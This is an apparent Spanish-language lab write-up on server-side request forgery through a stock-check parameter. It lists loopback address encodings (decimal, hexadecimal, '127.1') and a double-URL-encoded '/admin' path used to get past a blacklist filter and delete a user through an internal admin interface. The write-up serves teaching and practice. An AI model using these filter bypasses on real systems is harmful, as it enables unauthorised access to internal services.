> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/ssrf/ssrf-with-blacklist-based-filter.md).
# SSRF con filtrado basado en lista negra
### SSRF con filtro de entrada basado en lista negra
El laboratorio ofrece una función de verificación de stock que permite recuperar datos de un sistema interno. / El objetivo es acceder a la interfaz de administración en `HTTP://localhost/admin` y eliminar al usuario **carlos**. / Se deben eludir dos mecanismos de defensa débiles basados en listas negras.
#### Análisis y evasión
Al reemplazar el `stockApi` parámetro para apuntar directamente al administrador local, la solicitud es rechazada:
```
stockApi=https://localhost/admin
```
Para eludir la lista negra en `localhost`, se prueban varias variantes de direcciones internas:
* `https://127.0.0.1`
* `https://127.13.55.222`
* `https://127.0.1`
Estos intentos también fallan.
Entonces probamos **hexadecimal** o **decimal** representaciones de la dirección:
* `https://0x7F.0x0.0x1`
* `https://2130706433`
La detección siempre bloquea la `/admin` ruta, lo que indica que la defensa apunta principalmente a esta cadena específica.
```javascript
stockApi=http://127.1/%2561dmin
stockApi=http://127.1/%2561dmin/delete?username=carlos
```
---
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